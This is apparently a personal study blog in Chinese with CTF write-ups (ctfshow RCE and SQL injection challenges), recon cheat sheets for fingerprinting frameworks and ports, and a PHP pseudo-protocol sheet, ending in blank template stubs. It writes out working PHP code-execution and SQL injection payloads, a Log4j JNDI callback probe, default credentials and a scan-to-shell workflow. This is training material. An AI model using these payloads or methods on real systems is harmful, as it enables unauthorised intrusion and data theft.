用途：看到目标 → 确定它是什么框架/组件 → 知道该打什么核心思想：识别目的 = 知道该打什么，不需要 100% 精确，工具会兜底组合拳：响应头/插件先猜 → 报错页/默认路径确认 → 工具验证

一、识别流程总览（照这个顺序走）

第1步 响应头        Server / X-Powered-By / X-Application-Context
第2步 浏览器插件     Wappalyzer（快速线索，可被伪造，仅参考）
第3步 报错探测       触发404/非法参数，看框架默认错误页（最可靠）
第4步 默认路径       /actuator、/wp-admin、/console、?s= 等
第5步 Cookie/Session JSESSIONID、PHPSESSID、rememberMe
第6步 主动探测       对目标发特定请求看回显
第7步 工具兜底       whatweb / fscan / nuclei（自动识别+匹配模板）

二、响应头速查（第1步）

响应头	含义
`Server: nginx / Apache / IIS`	Web 服务器
`X-Powered-By: PHP/7.4`	PHP
`X-Powered-By: ASP.NET`	ASP.NET
`X-Application-Context: application`	Spring Boot（基本实锤）
`X-AspNet-Version: 4.0`	ASP.NET
`Via` / `X-Generator`	代理 / 生成器线索

三、报错页特征（第3步，最可靠）

报错特征	框架
`Whitelabel Error Page`	Spring Boot
特定的 404 页面样式	Tomcat
ThinkPHP 风格报错	ThinkPHP
标准 Nginx 404	Nginx
语法错误/堆栈回显	PHP / .NET

触发方式：访问不存在的路径、提交非法参数、故意制造异常

四、默认路径 / 路由特征（第4步，硬指纹）

路径/特征	框架/组件
`/actuator/env`、`/actuator/health`	Spring Boot
`/wp-admin`、`/wp-login.php`	WordPress
`/console`	Weblogic
`/manager/html`	Tomcat
`?s=index/think\app/invokefunction`	ThinkPHP
`?index.php?s=...`	ThinkPHP
`/index.php?m=&c=&a=`	老 PHP 框架
`/vendor`	Laravel
`/admin`	各种后台

五、Cookie / Session 特征（第5步）

Cookie	含义
`rememberMe=deleteMe`	Shiro（实锤）
`JSESSIONID`	Java 系（Tomcat/Weblogic/Jetty）
`PHPSESSID`	PHP
`ASP.NET_SessionId`	ASP.NET

六、主动指纹探测（第6步）

探测动作	识别目标
访问 `/actuator/env` 看返回	Spring Boot
访问 `/wp-login.php`	WordPress
访问 `/index.php?s=index/think\app/invokefunction`	ThinkPHP（顺便可打 RCE）
传 `${jndi:ldap://dnslog}` 看回连	Log4j

七、工具兜底（第7步，安全感来源）

whatweb 目标              # 命令行指纹
fscan -h 目标             # 扫描+识别+常见洞
nuclei -u 目标 -t 组件模板/  # 按组件打 CVE 模板

工具模板按框架分类，识别和利用一步到位——你只需要确认结果。

八、识别出来之后：常见框架 → 该打什么

识别结果	优先测试方向
Spring Boot	`/actuator` 信息泄露、SpEL、历史 RCE CVE
Shiro	rememberMe 反序列化
Fastjson	`@type` 反序列化
ThinkPHP	历史 RCE（如 5.0.23 远程代码执行）
Weblogic	反序列化 / 未授权（7001）
Tomcat	弱口令 manager、AJP 文件读取
WordPress	插件漏洞、弱口令
Laravel	密钥泄露 → 反序列化

记忆口诀

头看响应，错看报错，路看路径，标识看Cookie，最后工具兜底。

速查表持续补充，实战遇到新框架/新特征随时更新。

中间件/组件/框架指纹速查表

Sat, 29 Aug 2026 14:07:45 +0800

中间件/组件/框架指纹速查表

用途：识别目标是什么组件 → 查对应 CVE → 工具复现 学习策略：不用背漏洞细节，只记"端口映射 + 指纹特征 + 每类 1 个代表洞" 一句话流程：扫端口 → 认组件 → nuclei/fscan 打模板 → 搜 CVE 复现

一、端口 → 组件映射（核心，必记）

端口	组件	端口	组件
21	FTP	7001	Weblogic
22	SSH	8009	Tomcat AJP
3306	MySQL	8080	Tomcat / 各种 Web
6379	Redis	8081/8082	中间件后台
27017	MongoDB	8161	ActiveMQ
445	SMB	8443	HTTPS 管理口
3389	RDP	8848	Nacos
2375	Docker API	9200	Elasticsearch
11211	Memcached	9090	WebLogic 管理台 / Prometheus
2181	Zookeeper	10000	Webmin
5432	PostgreSQL	1521	Oracle
80/443	Web 服务	2222	SSH 改端口

记忆要点：高危未授权三兄弟 = Redis(6379) / MongoDB(27017) / Docker API(2375)，扫到直接连一下试试。

二、组件指纹特征（看到特征 = 知道是啥）

组件	招牌特征
Shiro	响应 Cookie 带 `rememberMe=deleteMe`（最经典）
Fastjson	请求体 `{"@type":"..."}`；报错回显特征
Spring	响应头 `X-Application-Context`；特定报错页
ThinkPHP	URL 特征（如 `?s=index/think\app/invokefunction`）；特定报错格式
Nacos	8848 端口 + 登录界面（默认口令 nacos/nacos 常有效）
Tomcat	默认报错页；`/manager/html` 管理后台（弱口令）
Weblogic	7001 端口 + 特定报错；`/console` 管理台
Jenkins	8080 端口 + Jenkins 界面（未授权 / 弱口令）
Log4j	传 `${jndi:ldap://...}` 看 DNSLog 是否回连
JBoss	8080 + `/jmx-console`、`/invoker` 等路径
ActiveMQ	8161 端口 + ActiveMQ 界面
Elasticsearch	9200 端口，`/_cat/indices` 直接可访问

三、每类 1 个代表洞（原理带一片，够了）

类别	代表洞	同类
反序列化	Shiro 反序列化（rememberMe 密文）	Fastjson、Weblogic、JBoss、Log4j
未授权访问	Redis 未授权（写 SSH key/定时任务）	MongoDB、Docker API、Nacos、Jenkins、ES
默认/弱口令	Nacos nacos/nacos	Tomcat、Weblogic、Jenkins、SSH 爆破
任意文件读	Spring 目录穿越（CVE-2021-21234 等）	Tomcat 任意文件、各种历史 CVE

反序列化的核心思想（必懂）：服务端把不可信数据反序列化 → 攻击者构造恶意序列化数据 → 触发代码执行。懂这一个原理，Shiro/Fastjson/Weblogic 的洞都是"换了个入口的同一个故事"。

四、工具链（2026 标配）

工具	用途
fscan	内网/端口扫描 + 常见漏洞一把梭（识别组件、未授权、弱口令）
nuclei	用模板库自动打历史 CVE（识别到组件 → 跑对应模板）
nmap	端口扫描（`-sV` 识别服务版本）
xray / goby	被动/主动扫描（可选）
Wappalyzer（浏览器插件）	前端快速看技术栈

实战流程：

1. nmap -sV 目标IP        → 看开放端口 + 服务版本
2. fscan -h 目标IP         → 自动识别组件 + 打常见漏洞
3. 根据识别结果：
   - nuclei -u 目标 -t 组件/   → 跑该组件的 CVE 模板
   - 或手动搜 CVE：Exploit-DB / GitHub PoC / 本地笔记
4. 复现 → 拿 flag / getshell

五、查 CVE 的资源（记住去哪查就行）

Exploit-DB：https://www.exploit-db.com/
nuclei 模板库：https://github.com/projectdiscovery/nuclei-templates（按组件分类）
GitHub PoC 搜索：搜 组件名 CVE-年份 PoC
fscan 输出：识别+常见洞一键出结果
自己仓库的「中间件漏洞」文件夹：遇到新洞顺手记一页（触发特征 → payload → 复现截图）

六、记忆口诀

端口认组件，指纹定版本，工具打模板，查表补细节。

速查表持续补充，实战遇到新组件/新特征随时更新。

ctfshow web32

Sat, 29 Aug 2026 11:57:33 +0800

ctfshow web32

题号：web32
难度：⭐⭐
考点：命令执行配合制造漏洞代码
日期：2026-8-29

题目描述

将大部分常规思路代码都过滤了，尤其是分号的过滤，因为我们的普遍认知都是php中每个想要执行的代码后面都必须存在分号

解题思路

1.发现过滤了分号就去思考有什么不需要用到分号或者只用一次分号就能解决问题的办法 2.然后聪明的你就想到了通过构造文件包含漏洞配合伪协议来解决这题

下面的两个payload都可以获取flag

Payload / 关键操作


一.?c=include$_GET[1]?>&1=data://text/plain,<?php system('tac flag.php');?>
二.?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

复现截图

一.

二.

对应课程章节

RCE命令执行

踩坑记录 / 复盘

1.正常来说分号是php代码的结束符，没有分号就会报错。但这有个小细节:?>这个也可以作为php代码的结束符，所以一般php代码的最后一个代码都可以不用分号

伪协议速查表（PHP）

Sat, 29 Aug 2026 10:49:12 +0800

伪协议速查表（PHP）

适用：文件包含（include/require）题、任意文件读取题记忆口诀：读文件用 filter，执行用 data/input

一、什么是伪协议（一句话原理）

PHP 的 include / file_get_contents 等函数读的不一定是磁盘文件，还可以是"协议流"（由 PHP 生成的内容）。伪协议 = 这些特殊流。

支持伪协议的函数：include / require / include_once / require_once / file_get_contents / readfile / file / fopen

关键配置：

allow_url_include=On：data:// 和 php://input 才可用（CTF 环境一般开着）
allow_url_fopen：默认 On

二、4 个必记协议

① php://filter —— 读源码（最最常用）

// 读 PHP 文件内容（base64 编码，避免被当作代码执行）
php://filter/read=convert.base64-encode/resource=flag.php

// 变体：省略 read=（等价）
php://filter/convert.base64-encode/resource=flag.php

// 变体：读文件内容原样输出（非 PHP 文件时用）
php://filter/resource=flag.txt

// 变体：多过滤器（进阶，绕过时用）
php://filter/read=convert.iconv.utf-8.utf-16/convert.base64-encode/resource=flag.php

⚠️ base64 输出里可能带 + / =，在 URL 中会被编码成 %2B %2F %3D，看到这种记得 urldecode

② data:// —— 直接执行代码

// 塞一段 PHP 代码执行（<?= 是短标签，等价 <?php echo）
data://text/plain,<?=system('tac flag.php');?>

// 普通文本（配合 include 输出文本内容）
data://text/plain,hello

③ php://input —— POST 内容当代码

// URL 里写：php://input
// POST 请求体里写：<?php system('tac flag.php');?>

④ 其它（了解即可）

php://temp / php://memory   临时/内存流
expect://命令               执行命令（需装 expect 扩展，基本遇不到）
php://filter/string.rot13   过滤器：rot13 加密（绕过过滤时用）

三、场景速查表

场景	用什么	例子
include 了 PHP 文件，想看源码	`php://filter` + base64	`?file=php://filter/read=convert.base64-encode/resource=index.php`
include 可控，想执行代码	`data://` 或 `php://input`	`?file=data://text/plain,<?=phpinfo();?>`
有文件包含但过滤了关键字	过滤器链 / 编码绕过	`convert.iconv` 链、rot13、二次编码
读非 PHP 文件（txt/json）	`php://filter/resource=` 或直接路径	`?file=flag.txt`

四、考点总结（CTF 怎么考）

经典套路：include $_GET['file'] → ?file=php://filter/read=convert.base64-encode/resource=flag.php → base64 解码拿 flag
配合过滤绕过：过滤了 ; → 用 ?> 当分号（PHP 闭合标签=隐式分号）；过滤了关键字 → 把 payload 挪到未过滤的参数（见《文件包含》案例题）
过滤器链（进阶）：convert.iconv.* 多过滤器组合可以构造任意字符，用于绕过更严格的过滤（如只能读部分字符）
php://input 需要 allow_url_include=On，题目开不了的话用 data:// 代替

五、实战案例（小迪题：分号过滤 + 伪协议）

// 源码：eval($_GET['c'])，过滤 flag|system|php|cat|sort|shell|.|echo|;
// 绕过：分号用 ?> 代替，payload 挪到未过滤的 a 参数

?c=include $_GET[a] ?>&a=php://filter/read=convert.base64-encode/resource=flag.php
// 或
?c=include $_GET[a] ?>&a=data://text/plain,<?=system('tac flag.php');?>

两层绕过：

; 被过滤 → ?> 隐式分号收尾
system/flag/php/. 被过滤 → 全部塞进未过滤的 a 参数

速查表持续补充，遇到新考法随时更新。

ctfshow web31

Fri, 28 Aug 2026 11:26:36 +0800

ctfshow web31

题号：web31
难度：⭐⭐
考点：RCE中的“参数逃逸”
日期：2026-8-28

题目描述

基本将之前的绕过思路全部阻断了

解题思路

1.看到没过滤exec，就以为和上题思路一样将内容全部写到自定义文件里面，知道我看到了题目过滤了“.”，那不卡了吗 2.然后就想到了萧瑟迪的一招“参数逃逸”，就是自己创建个参数去执行命令，然后自己创建的参数又不受题目的限制

Payload / 关键操作

?c=eval($_GET[1]);&1=system('tac flag.php');

复现截图

对应课程章节

RCE命令执行

踩坑记录 / 复盘

开始也想过参数逃逸，但是我看到题目实际是过滤了引号的，我以为没有引号就创建不了参数，结果参数是可以以数字形式创建的

ctfshow webXXX - 题目名

Fri, 28 Aug 2026 10:31:09 +0800

ctfshow webXXX - 题目名

题号：Web30
难度：⭐
考点：RCE命令执行（无回显）
日期：2026-8-28

题目描述

来到靶场，发现其多过滤了system和php

解题思路

1.因为只过滤了system，我们还可以去使用其他命令执行的函数，比如（我写这题想到的）exec，shell_exec等等，但是exec和shell_exec都是无法回显到页面上来的 2.遇到无回显我们会怎么办呢？一个是带外查询，一个就是本地文件创建于访问。因为我们是要查看具体的flag值，所以得选择后者 3.在使用ls查看本地文件的同时创建一个自定义文件让它将数据记录在里面 4.然后去访问一下furina.txt文件，发现flag确实是在本级目录 5.然后再用tac命令配合文件创建并查看即可

Payload / 关键操作

3.?c=exec("ls >> furina.txt");
5.?c=exec("tac fla?.ph? > furina.txt");

复现截图

3. 4. 5.

对应课程章节

RCE命令执行

踩坑记录 / 复盘

无

ctfshow web29

Fri, 28 Aug 2026 09:56:06 +0800

ctfshow web29

题号：web29
难度：⭐
考点：如 SQL 注入（无回显）
日期：2026-8-28

题目描述

一个简单的eval命令执行，只是过滤了flag

解题思路

1.先简单审计函数，发现里面出现了关键函数“eval” 2.想到代码执行转变为命令执行去查看本地文件 3.发现flag文件，因为有过滤，所以我们可以使用占位符？或者通配符*去绕过

Payload / 关键操作

2.?c=system('ls');
3.?c=system('tac fla?.php');

复现截图

对应课程章节

59.RCE命令执行

踩坑记录 / 复盘

值得注意的是，我不知道是bug还是它内部过滤的原因，反正就是用不了cat命令

ctfshow web174

Thu, 27 Aug 2026 11:21:36 +0800

ctfshow web174

题号：web174
难度：⭐
考点：如 SQL 注入（无回显）
日期：2026-8-27

题目描述

解题思路

核心思路：发现注入点、识别盲注条件成功与否返回值、构造条件语句、构造截取字符串。打开题目发现：
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
1、抓包，确认注入点在哪里。
/api/v4.php?id=1
2、输入1、1’、1"确认是字符型还是数值型。同时确认闭合形式。
其他题目必要时输入1’") 。
对于数值型，输入1’和1"返回值都一样。对于字符型，输入1和1’是不一样的返回结果。输入1'返回结果空，说明程序运行异常。构造1' and 1=1 -- +

Payload / 关键操作

? id=0' union select REPLACE(username,'g','j'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'g','9'),'0','h'),'1','i'),'2','j'),'3','k'),'4','l'),'5','m'),'6','n'),'7','o'),'8','p'),'9','q') from ctfshow_user4 where username='flag'%23

复现截图

对应小迪课程章节

SQL注入

踩坑记录 / 复盘

1.使用union select的时候面对数值可以直接写，比如union select 1,2;但如果是字符就必须加引号，不然数据库会以为你是要查询对应的列名：union select ‘a’,‘b’

ctfshow web173

Thu, 27 Aug 2026 11:15:36 +0800

ctfshow web173

题号：web173
难度：⭐
考点：如 SQL 注入
日期：2026-8-27

题目描述

和上题基本一样，就是多了一个正则，匹配到flag就不会给你查询

解题思路

其实直接按部就班上题就行了，因为我们用的是联合查询，username本来就被我们变成数字了，我们想要的只是password而已 [[Web174|[“ctfshow web174”,“123”]]]

Payload / 关键操作

1.1 ' union select 1,2,database() --+
2. 1 ' union select 1,456,password from ctfshow_user3 --+

复现截图

对应课程章节

SQL注入

踩坑记录 / 复盘

记得先用order by 探针一下，md我一直以为id不算payload一直都是union select 1,2 。还一直在想我究竟错哪了

ctfshow web172

Wed, 26 Aug 2026 14:12:19 +0800

ctfshow web172

题号：web172
难度：⭐
考点：如 SQL 注入
日期：2026-8-26

题目描述

来到界面就只有一只小猫，尝试去寻找注入点

解题思路

1.发现小猫上面分了很多个模块，其他模块都是没有解锁状态，只有SELECT模块可以点 2.点进去后发现它和171类似，也是限制了username=flag，这也说明了我们想要的值就在username=flag对应的password上面 3.通过输入1 ’ or 1=1 –+观察到数据库信息中并没有答案，说明我们想要的值在别的列名或表名中 4.因为判断出它是有回显的查询，我们就可以用到union select联合查询去破解，于是就开始寻找它的数据库名与权限信息（因为现在的数据库基本都是5.0版本以上，就没必要去version()看版本了） 5.知道对方的数据库名后，我们就可以通过自带的数据库名information_schema去尝试找到对方的表名 6.知道表名后，因为题目已经告诉了我们列名（字段名）的信息，我们就没必要去看了，直接去找它表明里面的数据就行了

Payload / 关键操作

1 ' union select database(),group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+

-1' union select 1,password from ctfshow_user2 --+

复现截图

1. 2. 3. 4. 5. 6.

对应课程章节

SQL注入42天

踩坑记录 / 复盘

多注意观察靶场的每个界面，少撸猫

ctfshow web- 171

Wed, 26 Aug 2026 11:41:15 +0800

ctfshow web- 171

题号：web171
难度：⭐
考点：SQL 注入
日期：2026-8-26

题目描述

解题思路

来到靶场先看它给的提示，在它给的sql语句中发现它查找的username值是不能等于flag的，这也恰恰说明这个库中存在username等于flag的值且password就是我们最终想要的答案，所以我们现在的目标就是要尝试绕过它的限制。根据题意可知绕过的方式就是熟悉的1=1将它的库全部拖出来即可。

Payload / 关键操作

-4." ' or 1 = 1 --+

Ctfshow on 波奇大王的 "Hugo Project"

PHP 文件访问范围限制：open_basedir 与目录边界

PHP 文件访问范围限制：open_basedir 与目录边界

三层限制结构

① open_basedir（PHP 配置层 —— 主角）

② 系统文件权限（OS 层）

③ Web 服务器根目录（服务层）

顺带分清：disable_functions

open_basedir 绕过（CTF/比赛高频考点）

一句话总结

相关联想

ctfshow web20

ctfshow web20

题目描述

解题思路

Payload / 关键操作

复现截图

对应课程章节

踩坑记录 / 复盘

ctfshow web19

ctfshow web19

题目描述

解题思路

Payload / 关键操作

复现截图

对应课程章节

踩坑记录 / 复盘

ctfshow web18

ctfshow web18

题目描述

解题思路

Payload / 关键操作

复现截图

对应课程章节

踩坑记录 / 复盘

ctfshow web17

ctfshow web17

题目描述

解题思路

Payload / 关键操作

复现截图

对应课程章节

踩坑记录 / 复盘

ctfshow web16

ctfshow web16

题目描述

解题思路

Payload / 关键操作

复现截图

对应课程章节

踩坑记录 / 复盘

探针是啥

所有 PHP 网站都有吗？—— 不是！

对渗透者意味着什么

一句话

为什么很多敏感文件不是扫出来的

ctfshow web15

ctfshow web15

题目描述

解题思路

Payload / 关键操作

复现截图

对应课程章节

踩坑记录 / 复盘

ctfshow web14

ctfshow web14

题目描述

解题思路

Payload / 关键操作

复现截图

对应课程章节

踩坑记录 / 复盘

ctfshow web13

ctfshow web13

题目描述

解题思路

Payload / 关键操作

复现截图

对应课程章节

踩坑记录 / 复盘